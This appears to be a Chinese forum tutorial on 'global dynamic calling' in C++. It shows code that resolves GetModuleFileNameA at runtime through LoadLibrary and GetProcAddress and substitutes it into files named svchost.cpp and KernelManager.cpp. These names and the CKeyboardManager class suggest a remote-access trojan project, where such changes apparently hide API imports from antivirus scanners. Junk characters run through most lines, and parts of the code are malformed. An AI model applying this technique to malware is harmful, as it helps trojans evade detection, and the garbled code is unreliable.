[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
  m. N+ m3 L/ Tsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h7 r5 |3 W3 t9 L$ m; v7 _
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DTDY.h：
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) w3 o4 M9 s( t: J' u#if _MSC_VER>1000$ Q4 {' c0 V( {$ k7 z
#pragma once1 M! i0 f  I- r, L  [
#endif //_MSC_VER>10005 _) l$ \3 ~7 ^4 M; W, l
#include<windows.h>
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( L) a5 U+ }2 A' I# {8 ptypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);$ a$ s4 @  m& B1 O  y% V# M
class DTDY9 A4 l* {6 R* }  ~5 y' y
{
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DTDY();
7 ^1 t& n+ B8 Fvirtual ~DTDY();2 d1 p8 s6 e+ `  H2 @: U, w' G
public:
  h4 Y- i( I" H6 P5 \' \static pGetModuleFileNameA MyGetModuleFileName;7 ~& Z$ j, I" N+ D0 B5 S' d
static BOOL FunInitiallization();
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#endif  `9 y7 _/ J" }) l) V. |, A" I
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DTDY.cpp:
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#include "DTDY.h"
" r/ I2 d* C3 _- w5 U0 J& OpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
: F: r+ s, s  f7 ^, DDTDY:TDY()
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DTDY::~DTDY()/ H6 O! `: d# O, f4 T
{
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9 ~/ u' _+ K! c& CBOOL DTDY::FunInitiallization()2 P9 f. K# D5 U8 x- _* J0 u
{
# q" |/ y0 K& h) j  C( }. y/ E+ cHMODULE hModule=LoadLibrary("kernel32.dll");/ p' M( d/ d8 [# d9 X
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");8 W$ Y0 E* s/ D6 `2 }
if(!MyGetModuleFileName=) return FALSE;" x. I4 L6 {( ?6 @8 c) ]

3 j3 ?6 \6 ~0 F5 D5 ]+ }return TRUE;
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svchost.cpp:! h8 w4 k& _( o& j6 x3 M5 ?
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#include "DTDY.h"1 l4 i0 r, u" E/ O) N

4 n: U8 t6 p8 j* C% P% D/ m: bBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
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' M3 |6 X# H# \$ U# N% S- i0 oswitch(ul_reason_for_call)1 S( d9 r" r8 S- C
{% [: R8 {. U, s. w9 k  L+ P
case DLL_PROCESS_ATTACH:
1 l* s4 y5 E6 X7 t4 J+ u4 aif(!DTDY::FunInitiallization()) return FALSE;
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break;
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/ L3 i2 |0 I7 @" {: o6 uGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
7 a1 m# {! v- ?1 m8 `0 p改写为
9 X, W5 c+ d7 |0 S) A3 d! t1 iDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));( ~+ T# k: n7 Y, f: Z0 @
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* ?% M( U) B6 z9 e- E: Q0 l2 vKernelManager.cpp:3 P  A: y% R' V! A
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#include "../DTDY.h"
2 A" s  n* C3 \4 }GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));. l; ~( Q1 s( X! ~4 Y) U0 e% k7 r
改写为
! ^5 s" D* Y7 JDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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